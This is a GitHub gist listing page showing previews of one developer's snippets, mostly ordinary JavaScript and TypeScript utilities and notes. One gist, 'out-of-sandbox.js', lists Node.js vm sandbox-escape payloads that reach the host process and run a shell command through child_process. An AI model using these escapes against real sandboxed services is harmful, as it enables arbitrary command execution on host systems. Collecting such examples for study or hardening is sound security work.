Skip to content

Instantly share code, notes, and snippets.

View vikiboss's full-sized avatar
🐈
loading...

Viki vikiboss

🐈
loading...
View GitHub Profile
@vikiboss
vikiboss / index.js
Last active December 6, 2020 11:10
a demo code for npx test that run code from url
#!/usr/bin/env node
console.log("hello noder")
@vikiboss
vikiboss / esm-package.md
Created September 19, 2022 01:06 — forked from sindresorhus/esm-package.md
Pure ESM package

Pure ESM package

The package linked to from here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

  1. Use ESM yourself. (preferred)
    Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
  2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
  3. Stay on the existing version of the package until you can move to ESM.
@vikiboss
vikiboss / offer.mjs
Created October 9, 2022 05:48
Offer Show Scripts
// usage: node --no-warnings offer.mjs 米哈游 前端
const args = process.argv.slice(2);
const js_code = ''; // get by wx.login method in WeChat
const api = 'https://www.ioffershow.com/V4';
const silentLogin = async (js_code) => {
const res = await fetch(`${api}/silent_login`, {
method: 'POST',
@vikiboss
vikiboss / walking.gif
Last active September 17, 2024 11:08
walking.gif
@vikiboss
vikiboss / out-of-sandbox.js
Last active July 24, 2024 02:39
沙盒逃逸常见例子
// setTimeout.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls').toString();
this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls').toString();
var exec = this.constructor.constructor;
var process = exec('return process')();
var require = process.mainModule.constructor._load;
var execSysCmd = require('child_process').execSync;
// process.exit();
@vikiboss
vikiboss / Get Genshin Impact wish history link.md
Last active May 2, 2023 02:39 — forked from MadeBaruna/README.md
Get Genshin Impact wish history link
@vikiboss
vikiboss / rearct-native-app-in-wsl2.md
Created February 27, 2023 07:01 — forked from bergmannjg/rearct-native-app-in-wsl2.md
Building a react native app in WSL2
@vikiboss
vikiboss / mini-signal.ts
Created March 23, 2023 02:46
mini signal implement
let currentListener: Function | undefined = undefined
function createSignal<T>(initialValue: T) {
let value = initialValue
const subscribers = new Set<Function>()
const read = () => {
if (currentListener !== undefined) {
subscribers.add(currentListener)
@vikiboss
vikiboss / reactive.ts
Created April 4, 2023 11:24
响应式状态 Demo
import rfdc from 'rfdc'
type Listener<T> = (snapshot: T) => void
interface State<T extends object> {
proxy: T
target: T
listeners: Set<Listener<T>>
}
@vikiboss
vikiboss / deepClone.ts
Created April 4, 2023 12:10
Deep Clone for TS
function isObject(obj: unknown): obj is Record<string, unknown> {
return typeof obj === 'object' && obj !== null
}
export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T {
if (obj === null || typeof obj !== 'object') {
return obj
}
if (cache.has(obj)) {